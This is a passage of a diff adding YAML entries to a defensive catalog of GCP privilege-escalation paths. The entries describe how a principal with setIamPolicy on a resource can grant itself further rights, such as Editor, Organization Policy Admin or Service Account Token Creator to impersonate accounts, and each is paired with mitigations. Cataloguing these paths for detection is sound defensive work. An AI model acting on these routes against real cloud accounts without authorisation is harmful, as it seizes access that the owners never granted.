src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-networksecurity-privesc.md#networksecuritysetiampolicy---self-grant-control-of-one-policy-resource + source_revision: a1de13ac34 + summary: A principal that can write the IAM policy of a named project address group may grant itself update access there if it does not already hold that permission. A reviewed accepted mutation can also prove the gain. + requires: + all_of: + - action: networksecurity.addressGroups.setIamPolicy + resource: '{target.policy_resource}' + target: + kind: gcp_verified_authority + selector: + gcp_resource_self_grant: true + scope: any + outcome: permission_grant + grants: + - networksecurity.addressGroups.update + aggregate_as: Address group update through {target.policy_resource} + conditions: + - id: exact_reviewed_self_grant + description: Requires complete, unique, source-bound evidence for the exact policy and granted resources, policy-write action, new permission, + prior absence, accepted IAM mutation, and effective post-grant access. + - id: prospective_address_group_policy + description: A prospective path needs a unique named project address group, its readable IAM policy, an effective exact-resource policy write and read, a known editor role, and no prior update permission. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Restrict networksecurity.addressGroups.setIamPolicy on protected address group resources and review self-directed + IAM policy changes. + notes: Both prospective and reviewed routes are limited to project address groups. The organization address-group API has no getIamPolicy or setIamPolicy method. Global and regional project groups are supported. +- id: gcp-networksecurity-authorizationpolicies-setiampolicy-authorization-policy-self-grant + provider: gcp + service: networksecurity + title: Self-grant update access to an authorization policy + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-networksecurity-privesc.md#networksecuritysetiampolicy---self-grant-control-of-one-policy-resource + source_revision: a1de13ac34 + summary: A principal that can write the IAM policy of a named project authorization policy may grant itself update access there if it does not already hold that permission. A reviewed accepted mutation can also prove the gain. + requires: + all_of: + - action: networksecurity.authorizationPolicies.setIamPolicy + resource: '{target.policy_resource}' + target: + kind: gcp_verified_authority + selector: + gcp_resource_self_grant: true + scope: any + outcome: permission_grant + grants: + - networksecurity.authorizationPolicies.update + aggregate_as: Authorization policy update through {target.policy_resource} + conditions: + - id: exact_reviewed_self_grant + description: Requires complete, unique, source-bound evidence for the exact policy and granted resources, policy-write action, new permission, + prior absence, accepted IAM mutation, and effective post-grant access. + - id: prospective_authorization_policy + description: A prospective path needs a unique named project authorization policy, its readable IAM policy, an effective exact-resource policy write and read, a known editor role, and no prior update permission. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Restrict networksecurity.authorizationPolicies.setIamPolicy on protected authorization policy resources and + review self-directed IAM policy changes. + notes: Both prospective and reviewed routes require an exact project authorization policy. Global and regional project policies are supported. +- id: gcp-networksecurity-authzpolicies-setiampolicy-authz-policy-self-grant + provider: gcp + service: networksecurity + title: Self-grant update access to an authz policy + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-networksecurity-privesc.md#networksecuritysetiampolicy---self-grant-control-of-one-policy-resource + source_revision: a1de13ac34 + summary: A principal that can write the IAM policy of a named project authz policy may grant itself update access there if it does not already hold that permission. A reviewed accepted mutation can also prove the gain. + requires: + all_of: + - action: networksecurity.authzPolicies.setIamPolicy + resource: '{target.policy_resource}' + target: + kind: gcp_verified_authority + selector: + gcp_resource_self_grant: true + scope: any + outcome: permission_grant + grants: + - networksecurity.authzPolicies.update + aggregate_as: Authz policy update through {target.policy_resource} + conditions: + - id: exact_reviewed_self_grant + description: Requires complete, unique, source-bound evidence for the exact policy and granted resources, policy-write action, new permission, + prior absence, accepted IAM mutation, and effective post-grant access. + - id: prospective_authz_policy + description: A prospective path needs a unique named project authz policy, its readable IAM policy, an effective exact-resource policy write and read, a known editor role, and no prior update permission. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Restrict networksecurity.authzPolicies.setIamPolicy on protected authz policy resources and review self-directed + IAM policy changes. + notes: Both prospective and reviewed routes require an exact project authz policy. Global and regional project policies are supported. +- id: gcp-networksecurity-clienttlspolicies-setiampolicy-client-tls-policy-self-grant + provider: gcp + service: networksecurity + title: Self-grant update access to a client TLS policy + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-networksecurity-privesc.md#networksecuritysetiampolicy---self-grant-control-of-one-policy-resource + source_revision: a1de13ac34 + summary: A principal that can write the IAM policy of a named project client TLS policy may grant itself update access there if it does not already hold that permission. A reviewed accepted mutation can also prove the gain. + requires: + all_of: + - action: networksecurity.clientTlsPolicies.setIamPolicy + resource: '{target.policy_resource}' + target: + kind: gcp_verified_authority + selector: + gcp_resource_self_grant: true + scope: any + outcome: permission_grant + grants: + - networksecurity.clientTlsPolicies.update + aggregate_as: Client TLS policy update through {target.policy_resource} + conditions: + - id: exact_reviewed_self_grant + description: Requires complete, unique, source-bound evidence for the exact policy and granted resources, policy-write action, new permission, + prior absence, accepted IAM mutation, and effective post-grant access. + - id: prospective_client_tls_policy + description: A prospective path needs a unique named project client TLS policy, its readable IAM policy, an effective exact-resource policy write and read, a known editor role, and no prior update permission. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Restrict networksecurity.clientTlsPolicies.setIamPolicy on protected client tls policy resources and review + self-directed IAM policy changes. + notes: Both prospective and reviewed routes require an exact project client TLS policy. Global and regional project policies are supported. +- id: gcp-networksecurity-servertlspolicies-setiampolicy-server-tls-policy-self-grant + provider: gcp + service: networksecurity + title: Self-grant update access to a server TLS policy + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-networksecurity-privesc.md#networksecuritysetiampolicy---self-grant-control-of-one-policy-resource + source_revision: a1de13ac34 + summary: A principal that can write the IAM policy of a named project server TLS policy may grant itself update access there if it does not already hold that permission. A reviewed accepted mutation can also prove the gain. + requires: + all_of: + - action: networksecurity.serverTlsPolicies.setIamPolicy + resource: '{target.policy_resource}' + target: + kind: gcp_verified_authority + selector: + gcp_resource_self_grant: true + scope: any + outcome: permission_grant + grants: + - networksecurity.serverTlsPolicies.update + aggregate_as: Server TLS policy update through {target.policy_resource} + conditions: + - id: exact_reviewed_self_grant + description: Requires complete, unique, source-bound evidence for the exact policy and granted resources, policy-write action, new permission, + prior absence, accepted IAM mutation, and effective post-grant access. + - id: prospective_server_tls_policy + description: A prospective path needs a unique named project server TLS policy, its readable IAM policy, an effective exact-resource policy write and read, a known editor role, and no prior update permission. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Restrict networksecurity.serverTlsPolicies.setIamPolicy on protected server tls policy resources and review + self-directed IAM policy changes. + notes: Both prospective and reviewed routes require an exact project server TLS policy. Global and regional project policies are supported. +- id: gcp-pubsub-topics-setiampolicy-topic-self-grant + provider: gcp + source_kind: + - gcp_user + - gcp_service_account + service: pubsub + title: Self-grant pubsub.topics.publish on a topic + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-pubsub-privesc.md#pubsubtopicssetiampolicy--pubsubsubscriptionssetiampolicy--self-grant-control-of-one-resource + source_revision: a1de13ac34 + summary: The source can use pubsub.topics.setIamPolicy on an inventoried topic to add its own Publisher binding when it does not already have publish access. + requires: + all_of: + - action: pubsub.topics.setIamPolicy + resource: '{target.policy_resource}' + target: + kind: gcp_verified_authority + selector: + gcp_resource_self_grant: true + scope: any + outcome: permission_grant + grants: + - pubsub.topics.publish + aggregate_as: Topic publish access the source could grant itself + conditions: + - id: exact_topic_policy + description: Requires an inventoried topic, policy-write authority on that topic, and no current publish grant; incomplete direct IAM, group membership, org policy, or deny evidence leaves the path unresolved. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Restrict pubsub.topics.setIamPolicy on protected topic resources and review self-directed IAM policy changes. + notes: A Pub/Sub Publisher role can be granted on one topic. A prospective path is conditional because the IAM mutation has not been attempted; a reviewed accepted mutation can also provide direct evidence. +- id: gcp-pubsub-subscriptions-setiampolicy-subscription-self-grant + provider: gcp + source_kind: + - gcp_user + - gcp_service_account + service: pubsub + title: Self-grant pubsub.subscriptions.consume on a subscription + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-pubsub-privesc.md#pubsubtopicssetiampolicy--pubsubsubscriptionssetiampolicy--self-grant-control-of-one-resource + source_revision: a1de13ac34 + summary: The source can use pubsub.subscriptions.setIamPolicy on an inventoried subscription to add its own Subscriber binding when it does not already have consume access. + requires: + all_of: + - action: pubsub.subscriptions.setIamPolicy + resource: '{target.policy_resource}' + target: + kind: gcp_verified_authority + selector: + gcp_resource_self_grant: true + scope: any + outcome: permission_grant + grants: + - pubsub.subscriptions.consume + aggregate_as: Subscription consume access the source could grant itself + conditions: + - id: exact_subscription_policy + description: Requires an inventoried subscription, policy-write authority on it, and no current consume grant; only pull delivery yields a named prospective path, while incomplete IAM, group, org policy, or deny evidence leaves it unresolved. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Restrict pubsub.subscriptions.setIamPolicy on protected subscription resources and review self-directed IAM + policy changes. + notes: A Pub/Sub Subscriber role can be granted on one subscription. Pull subscriptions can expose messages after that grant. Push, export, and unknown delivery modes remain unresolved without a separate usable-consume path; a reviewed accepted mutation can also provide direct evidence. +- id: gcp-vmwareengine-privateclouds-setiampolicy-private-cloud-self-grant + provider: gcp + service: vmwareengine + title: Self-grant vmwareengine.privateClouds.showVcenterCredentials on a private cloud + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-vmwareengine-gcve-privesc.md#vmwareengineprivatecloudssetiampolicy--grant-a-credential-reading-role-on-one-private-cloud + source_revision: a1de13ac34 + summary: The source uses vmwareengine.privateClouds.setIamPolicy on an exact private cloud to add its own IAM binding and + gain vmwareengine.privateClouds.showVcenterCredentials, which it lacked before the accepted policy mutation. + requires: + all_of: + - action: vmwareengine.privateClouds.setIamPolicy + resource: '{target.policy_resource}' + target: + kind: gcp_verified_authority + selector: + gcp_resource_self_grant: true + scope: any + outcome: permission_grant + grants: + - vmwareengine.privateClouds.showVcenterCredentials + aggregate_as: Verified private cloud self-grant to the source + conditions: + - id: exact_reviewed_self_grant + description: Requires complete, unique, source-bound evidence for the exact policy and granted resources, policy-write action, new permission, + prior absence, accepted IAM mutation, and effective post-grant access. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Restrict vmwareengine.privateClouds.setIamPolicy on protected private cloud resources and review self-directed + IAM policy changes. + notes: The policy write alone does not create a path. The gcp_resource_self_grant_evidence record must prove this exact + permission gain for the acting principal on GrantedResource. +- id: gcp-privateca-capools-setiampolicy-ca-pool-self-grant + provider: gcp + service: privateca + title: Self-grant privateca.certificates.create on a ca pool + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-certificate-authority-service-privesc.md#privatecacapoolssetiampolicy--grant-certificate-issuance-on-a-ca-pool + source_revision: a1de13ac34 + summary: A caller with privateca.caPools.setIamPolicy on an exact CA pool could add its own unconditional certificateRequester binding + and gain privateca.certificates.create where the current policy and inherited grants do not already provide it. + requires: + all_of: + - action: privateca.caPools.setIamPolicy + resource: '{target.policy_resource}' + target: + kind: gcp_verified_authority + selector: + gcp_resource_self_grant: true + scope: any + outcome: permission_grant + grants: + - privateca.certificates.create + aggregate_as: Verified ca pool self-grant to the source + conditions: + - id: exact_reviewed_self_grant + description: Requires a unique CA pool, its readable IAM policy, derived policy-write authority on that exact pool, no existing certificate-create + access, and sufficient ancestor policy, deny, and membership evidence to assess an unconditional self-binding. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Restrict privateca.caPools.setIamPolicy on protected ca pool resources and review self-directed IAM policy changes. + notes: The policy write alone does not create a path. The gcp_resource_self_grant_evidence record must prove this exact + permission gain for the acting principal on GrantedResource. +- id: gcp-krmapihosting-krmapihosts-setiampolicy-krm-api-host-self-grant + provider: gcp + service: krmapihosting + title: Self-grant krmapihosting.krmApiHosts.update on a krm api host + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-config-controller-privesc.md#durable-instance-iam-binding-krmapihostingkrmapihostssetiampolicy + source_revision: a1de13ac34 + summary: The source uses krmapihosting.krmApiHosts.setIamPolicy on an exact krm api host to add its own IAM binding and + gain krmapihosting.krmApiHosts.update, which it lacked before the accepted policy mutation. + requires: + all_of: + - action: krmapihosting.krmApiHosts.setIamPolicy + resource: '{target.policy_resource}' + target: + kind: gcp_verified_authority + selector: + gcp_resource_self_grant: true + scope: any + outcome: permission_grant + grants: + - krmapihosting.krmApiHosts.update + aggregate_as: Verified krm api host self-grant to the source + conditions: + - id: exact_reviewed_self_grant + description: A listed, running host with a unique IAM policy, exact policy-write permission, no prior update access, + and a grantable admin role is a conditional path. An accepted mutation with effective post-grant access can verify it. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Restrict krmapihosting.krmApiHosts.setIamPolicy on protected krm api host resources and review self-directed + IAM policy changes. + notes: The policy write alone does not prove a gained permission. The read-only host and policy inventory supports a + conditional path; a complete gcp_resource_self_grant_evidence record can attest the actual grant. +- id: gcp-compute-images-setiampolicy-image-self-grant + provider: gcp + source_kind: + - gcp_user + - gcp_service_account + service: compute + title: Self-grant compute.images.useReadOnly on an image + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-compute-privesc/README.md#computeimagessetiampolicy--self-grant-image-use + source_revision: 669e767e95 + summary: The source can add its own IAM binding to an exact ready image it can administer and gain compute.images.useReadOnly when it lacks that permission. + requires: + all_of: + - action: compute.images.setIamPolicy + resource: '{target.policy_resource}' + target: + kind: gcp_verified_authority + selector: + gcp_resource_self_grant: true + scope: any + outcome: permission_grant + grants: + - compute.images.useReadOnly + aggregate_as: Image read-only use the source could grant itself + conditions: + - id: exact_reviewed_self_grant + description: The exact ready image is inventoried with a readable IAM policy; the source can set that policy but lacks compute.images.useReadOnly on the image. An independently reviewed accepted mutation remains a second supported proof route. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Restrict compute.images.setIamPolicy on protected image resources and review self-directed IAM policy changes. + notes: The source can add roles/compute.imageUser to its own image policy to gain compute.images.useReadOnly. This grants a new permission on that image, but using its bytes requires separate VM or disk creation permissions and may face CMEK constraints. +- id: gcp-logging-views-setiampolicy-self-grant + provider: gcp + service: logging + title: Self-grant logging.views.access on a log view + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-logging-privesc.md#change-access-to-a-log-view--loggingviewssetiampolicy + source_revision: 669e767e95 + summary: The acting principal can use logging.views.setIamPolicy on an exact existing log view to grant itself logging.views.access, + which it does not already hold. + requires: + all_of: + - action: logging.views.setIamPolicy + resource: '{target.policy_resource}' + target: + kind: gcp_verified_authority + selector: + gcp_resource_self_grant: true + scope: any + outcome: permission_grant + grants: + - logging.views.access + aggregate_as: Log view access the source could grant itself + conditions: + - id: exact_reviewed_self_grant + description: A unique listed view with a readable IAM policy, exact policy-write permission, no prior view access, + and a grantable view-accessor role supports a conditional path. An accepted mutation with effective post-grant access can verify it. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Restrict logging.views.setIamPolicy on protected log view resources and review self-directed IAM policy changes. + notes: The policy write alone does not prove a gained permission. The read-only view and policy inventory supports a + conditional path; a complete gcp_resource_self_grant_evidence record can attest the actual grant. +- id: gcp-domains-registrations-setiampolicy-self-grant + provider: gcp + service: domains + title: Self-grant domains.registrations.configureDns on a domain registration + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloud-domains-privesc.md#domainsregistrationssetiampolicy--registration-scoped-iam-persistence + source_revision: 669e767e95 + summary: A principal with domains.registrations.setIamPolicy on an active registration could grant itself domains.registrations.configureDns + through that registration's IAM policy when it lacks that permission today. + requires: + all_of: + - action: domains.registrations.setIamPolicy + resource: '{target.policy_resource}' + target: + kind: gcp_verified_authority + selector: + gcp_resource_self_grant: true + scope: any + outcome: permission_grant + grants: + - domains.registrations.configureDns + aggregate_as: Domain registration DNS self-grant to the source + conditions: + - id: prospective_or_reviewed_self_grant + description: Requires an exact active registration, its collected IAM policy, a source able to write that policy, + prior absence of DNS configuration permission, and a collected grantable role; reviewed mutations must also prove effective post-grant access. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Restrict domains.registrations.setIamPolicy on protected domain registration resources and review self-directed + IAM policy changes. + notes: The prospective path uses roles/domains.editor on the exact registration. Complete reviewed mutation evidence can prove another grantable role. +- id: gcp-contactcenterinsights-authorizedviews-setiampolicy-self-grant + provider: gcp + service: contactcenterinsights + title: Self-grant authorized-view read access + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-contact-center-insights-privesc.md#authorized-view-iam-self-grant-authorizedviewssetiampolicy + source_revision: 2bb3ac75c0 + summary: A principal that can set the IAM policy on an exact authorized view may grant itself the authorizedViewer + role and gain view access it did not already have. + requires: + all_of: + - action: contactcenterinsights.authorizedViews.setIamPolicy + resource: '{target.policy_resource}' + target: + kind: gcp_verified_authority + selector: + gcp_resource_self_grant: true + scope: any + outcome: permission_grant + grants: + - contactcenterinsights.authorizedViews.get + aggregate_as: Verified authorized-view self-grant to the source + conditions: + - id: exact_reviewed_self_grant + description: Requires either complete source-bound evidence of an accepted self-grant or a unique existing view + with collected IAM policy, role, prior-access, and policy-write facts. The inferred path remains conditional. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Restrict contactcenterinsights.authorizedViews.setIamPolicy and review self-directed authorized-view policy + changes. + notes: View access is an IAM permission gain. Whether matching conversations exist remains conditional. +- id: gcp-artifactregistry-repositories-setiampolicy-repository-self-grant + provider: gcp + source_kind: + - gcp_user + - gcp_service_account + service: artifactregistry + title: Self-grant upload access to an Artifact Registry repository + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-artifact-registry-privesc.md#artifactregistryrepositoriessetiampolicy--self-grant-control-of-a-repository + source_revision: 171e422 + summary: The source can change an inventoried repository's IAM policy to grant itself upload access on that repository when it lacks that permission. + requires: + all_of: + - action: artifactregistry.repositories.setIamPolicy + resource: '{target.policy_resource}' + target: + kind: gcp_verified_authority + selector: + gcp_resource_self_grant: true + scope: any + outcome: permission_grant + grants: + - artifactregistry.repositories.uploadArtifacts + aggregate_as: Repository upload access the source could grant itself + conditions: + - id: exact_repository_policy + description: Requires an inventoried standard repository, policy-write authority on that repository, and no current upload grant; incomplete IAM, group, org policy, or deny evidence leaves the path unresolved. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Restrict artifactregistry.repositories.setIamPolicy on repositories with sensitive artifacts or trusted consumers and review self-directed IAM policy changes. + notes: A repository Writer role can be granted on one repository. The path is conditional until the IAM mutation succeeds; a reviewed accepted mutation can provide direct evidence. +- id: gcp-bigtable-instances-setiampolicy-instance-admin-self-grant + provider: gcp + source_kind: + - gcp_user + - gcp_service_account + service: bigtable + title: Self-grant Bigtable instance administration + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-bigtable-privesc.md#bigtableinstancessetiampolicy--self-grant-across-one-instance + source_revision: a1de13ac34 + summary: The caller can change a ready instance's IAM policy to grant itself instance update access when it lacked that access. + requires: + all_of: + - action: bigtable.instances.setIamPolicy + resource: '{target.policy_resource}' + target: + kind: gcp_verified_authority + selector: + gcp_resource_self_grant: true + scope: any + outcome: permission_grant + grants: + - bigtable.instances.update + aggregate_as: Instance administration the caller could grant itself + conditions: + - id: exact_instance_policy + description: Requires an inventoried ready instance, exact policy-write authority, no current instance update permission, and complete instance, IAM, group, org policy, and deny evidence. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Restrict bigtable.instances.setIamPolicy on instances and review self-directed IAM policy changes. + notes: This captures an instance-level permission gain even when the instance has no tables. The prospective grant is conditional until the IAM change succeeds and does not grant project IAM control. +- id: gcp-networkconnectivity-hubs-setiampolicy-group-use-self-grant + provider: gcp + service: networkconnectivity + title: Grant self group use through a hub IAM policy + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-network-connectivity-center-privesc.md#resource-iam-self-grants + source_revision: a1de13ac34 + summary: A principal that can write a named hub IAM policy may grant itself roles/networkconnectivity.groupUser on that hub and gain use of its observed groups, provided it lacks that access already. + requires: + all_of: + - action: networkconnectivity.hubs.setIamPolicy + resource: '{target.policy_resource}' + target: + kind: gcp_verified_authority + selector: + gcp_resource_self_grant: true + scope: any + outcome: permission_grant + grants: + - networkconnectivity.groups.use + aggregate_as: Group use through {target.policy_resource} + conditions: + - id: exact_hub_group + description: Needs a unique named hub and child group, readable hub and group policies, an effective hub-level policy write and read, a known groupUser role, and no prior group-use grant. + - id: attachment_prerequisites + description: Using the new group permission to attach a spoke also requires authority over the spoke and its referenced network. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Restrict hub IAM policy writes and review grants of groupUser on hubs. + notes: Google documents granting roles/networkconnectivity.groupUser on a hub. This grants group use on that hub, not hub update or unrestricted spoke creation. diff --git a/src/privilege-escalation-paths-cspm-reviewed/gcp/resourcemanager.yaml b/src/privilege-escalation-paths-cspm-reviewed/gcp/resourcemanager.yaml new file mode 100644 index 0000000000..ad00593e7d --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/gcp/resourcemanager.yaml @@ -0,0 +1,247 @@ +# Active GCP privilege escalation catalog: each entry must show the source principal's permissions and actions leading to a named second principal or to additional effective permissions for the source. A data read or secret access alone is not escalation; credential paths require verified usable credentials tied to the exact target principal. Every active source must cite a GCP privilege-escalation page and the technique's heading anchor. +# GCP Resource Manager (organization / folder / project IAM) privilege escalation techniques. +# Source: hacktricks-cloud gcp-privilege-escalation/gcp-resourcemanager-privesc.md (rev 171e422). +# Placeholder / selector conventions: see the header of catalog/gcp/iam.yaml. +# Writing the IAM policy of a node grants any role on it and, through inheritance, on all descendants. + +- id: gcp-resourcemanager-organizations-setiampolicy + provider: gcp + source_kind: + - gcp_user + - gcp_service_account + service: resourcemanager + title: Self-grant Organization Policy Admin access + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-resourcemanager-privesc.md#organizationsfoldersprojectssetiampolicy--self-grant-on-a-hierarchy-node + source_revision: 171e422 + summary: A principal that can change an active organization's IAM policy may grant itself Organization Policy Admin when it lacks the policy-setting permission. + requires: + all_of: + - action: resourcemanager.organizations.setIamPolicy + resource: "{target.policy_resource}" + target: + kind: gcp_verified_authority + selector: + gcp_resource_self_grant: true + scope: any + outcome: permission_grant + grants: + - orgpolicy.policy.set + aggregate_as: "Organization policy-setting permission the source could grant itself" + conditions: + - id: allowed_member_domains + description: iam.allowedPolicyMemberDomains can reject bindings for principals outside allowed domains. + blockers: + - gcp_deny_policy + confidence: conditional + severity: critical + mitigation: Restrict roles/resourcemanager.organizationAdmin and roles/iam.securityAdmin at the organization to break-glass identities. + notes: The prospective path requires the active organization and full IAM policy, the grantable Organization Policy Admin role, a newly effective policy-setting permission, and no unresolved IAM, member, deny, or PAB blocker. Other grantable roles may provide different new permissions and need separate evidence. + references: + - https://cloud.google.com/resource-manager/docs/access-control-org + +- id: gcp-resourcemanager-folders-setiampolicy + provider: gcp + source_kind: + - gcp_user + - gcp_service_account + service: resourcemanager + title: Self-grant Folder Admin access on a folder + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-resourcemanager-privesc.md#organizationsfoldersprojectssetiampolicy--self-grant-on-a-hierarchy-node + source_revision: 171e422 + summary: A principal that can change an active folder's IAM policy may grant itself Folder Admin when it lacks at least one supported folder permission. + requires: + all_of: + - action: resourcemanager.folders.setIamPolicy + resource: "{target.policy_resource}" + target: + kind: gcp_verified_authority + selector: + gcp_resource_self_grant: true + scope: any + outcome: permission_grant + grants: + - resourcemanager.folders.create + - resourcemanager.folders.delete + - resourcemanager.folders.move + - resourcemanager.folders.update + - resourcemanager.folders.undelete + - resourcemanager.projects.setIamPolicy + aggregate_as: "Folder Admin permissions the source could grant itself" + conditions: + - id: allowed_member_domains + description: iam.allowedPolicyMemberDomains can reject bindings for principals outside allowed domains. + blockers: + - gcp_deny_policy + confidence: conditional + severity: critical + mitigation: Restrict roles/resourcemanager.folderAdmin and roles/resourcemanager.folderIamAdmin. + notes: The prospective path requires an active exact folder, its complete IAM policy, a grantable Folder Admin role, a new effective permission on that folder or a known descendant project, and no unresolved IAM or policy blockers. The policy change has not been executed. + +- id: gcp-resourcemanager-projects-setiampolicy + provider: gcp + source_kind: + - gcp_user + - gcp_service_account + service: resourcemanager + title: Self-grant Editor access on a project + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-resourcemanager-privesc.md#organizationsfoldersprojectssetiampolicy--self-grant-on-a-hierarchy-node + source_revision: 171e422 + summary: A principal that can change an active project's IAM policy may grant itself Editor when that role adds at least one permission it lacks at the project. + requires: + all_of: + - action: resourcemanager.projects.setIamPolicy + resource: "{target.policy_resource}" + target: + kind: gcp_verified_authority + selector: + gcp_resource_self_grant: true + scope: any + outcome: permission_grant + grants: + - roles/editor + aggregate_as: "Editor role the source could grant itself on a project" + conditions: + - id: allowed_member_domains + description: iam.allowedPolicyMemberDomains can reject bindings for principals outside allowed domains. + - id: default_service_account_basic_role_block + description: iam.managed.preventPrivilegedBasicRolesForDefaultServiceAccounts can reject Editor grants to default service accounts. + blockers: + - gcp_deny_policy + confidence: conditional + severity: critical + mitigation: Restrict roles/resourcemanager.projectIamAdmin, roles/iam.securityAdmin and roles/owner. + notes: The prospective path needs an active exact project, its complete IAM policy, a complete grantable Editor role, a new effective permission, and resolved IAM conditions, member and basic-role restrictions, deny, group, and PAB evidence. Other project roles may provide different new permissions and need separate evidence. + +- id: gcp-resourcemanager-organizations-setiampolicy-deny-admin + provider: gcp + source_kind: + - gcp_user + - gcp_service_account + service: resourcemanager + title: Self-grant Deny Admin access on an organization + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-resourcemanager-privesc.md#organizationsfoldersprojectssetiampolicy--self-grant-on-a-hierarchy-node + source_revision: 171e422 + summary: A principal that can change an active organization's IAM policy may grant itself Deny Admin when it lacks the permission to create deny policies. + requires: + all_of: + - action: resourcemanager.organizations.setIamPolicy + resource: "{target.policy_resource}" + target: + kind: gcp_verified_authority + selector: + gcp_resource_self_grant: true + scope: any + outcome: permission_grant + grants: + - iam.denypolicies.create + aggregate_as: "Deny-policy administration permission the source could grant itself" + conditions: + - id: allowed_member_domains + description: Effective member restrictions can reject the new role binding. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Restrict organization IAM policy writes to administrators who need to grant roles at that scope. + notes: The prospective path requires the active organization and full IAM policy, the grantable Deny Admin role, a newly effective deny-policy permission, and resolved IAM, member, deny, group, and PAB evidence. + references: + - https://cloud.google.com/iam/docs/roles-permissions/iam + +- id: gcp-resourcemanager-organizations-setiampolicy-role-admin + provider: gcp + source_kind: + - gcp_user + - gcp_service_account + service: resourcemanager + title: Self-grant Organization Role Administrator access + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-resourcemanager-privesc.md#organizationsfoldersprojectssetiampolicy--self-grant-on-a-hierarchy-node + source_revision: 171e422 + summary: A principal that can change an active organization's IAM policy may grant itself Organization Role Administrator when it lacks permission to create custom roles. + requires: + all_of: + - action: resourcemanager.organizations.setIamPolicy + resource: "{target.policy_resource}" + target: + kind: gcp_verified_authority + selector: + gcp_resource_self_grant: true + scope: any + outcome: permission_grant + grants: + - iam.roles.create + aggregate_as: "Organization custom-role administration permission the source could grant itself" + conditions: + - id: allowed_member_domains + description: Effective member restrictions can reject the new role binding. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Restrict organization IAM policy writes to administrators who need to grant roles at that scope. + notes: The prospective path requires the active organization and full IAM policy, the grantable Organization Role Administrator role, a newly effective custom-role permission, and resolved IAM, member, deny, group, and PAB evidence. + references: + - https://cloud.google.com/iam/docs/roles-permissions/iam + +- id: gcp-resourcemanager-projects-setiampolicy-project-delete + provider: gcp + source_kind: + - gcp_user + - gcp_service_account + service: resourcemanager + title: Self-grant Project Deleter access + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-resourcemanager-privesc.md#organizationsfoldersprojectssetiampolicy--self-grant-on-a-hierarchy-node + source_revision: 171e422 + summary: A principal that can change an active project's IAM policy may grant itself Project Deleter when it lacks project deletion permission. + requires: + all_of: + - action: resourcemanager.projects.setIamPolicy + resource: "{target.policy_resource}" + target: + kind: gcp_verified_authority + selector: + gcp_resource_self_grant: true + scope: any + outcome: permission_grant + grants: + - resourcemanager.projects.delete + aggregate_as: "Project deletion permission the source could grant itself" + conditions: + - id: allowed_member_domains + description: iam.allowedPolicyMemberDomains can reject bindings for principals outside allowed domains. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Restrict project IAM policy write access to administrators who need to grant roles on the project. + notes: The prospective path requires an active exact project, its complete IAM policy, the grantable Project Deleter role, a newly effective project deletion permission, and resolved IAM conditions, member restrictions, deny, group, and PAB evidence. + +- id: gcp-resourcemanager-projects-setiampolicy-sa-token + provider: gcp + source_kind: + - gcp_user + - gcp_service_account + service: resourcemanager + title: Grant access to impersonate a project service account + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-resourcemanager-privesc.md#organizationsfoldersprojectssetiampolicy--self-grant-on-a-hierarchy-node + source_revision: 171e422 + summary: A principal that can change a project's IAM policy may grant itself Service Account Token Creator on the project and mint a token for an enabled service account it could not already impersonate. + requires: + all_of: + - action: resourcemanager.projects.setIamPolicy + resource: "{target.scope}" + target: + kind: gcp_service_account + selector: + gcp_project_iam_sa_token_grant: true + scope: any + aggregate_as: "Service accounts reachable through a project IAM Token Creator grant" + conditions: + - id: allowed_member_domains + description: Effective organization policy can reject the new Token Creator binding for the source principal. + blockers: + - gcp_deny_policy + - disabled_service_account + confidence: conditional + severity: critical + mitigation: Limit project IAM policy writers and grant Service Account Token Creator only on the specific accounts that need impersonation. + notes: The prospective path joins an active exact project, full project and service-account IAM policies, an enabled named service account, a full Token Creator role, absent prior token access, and resolved IAM, member, deny, group, and PAB evidence. diff --git 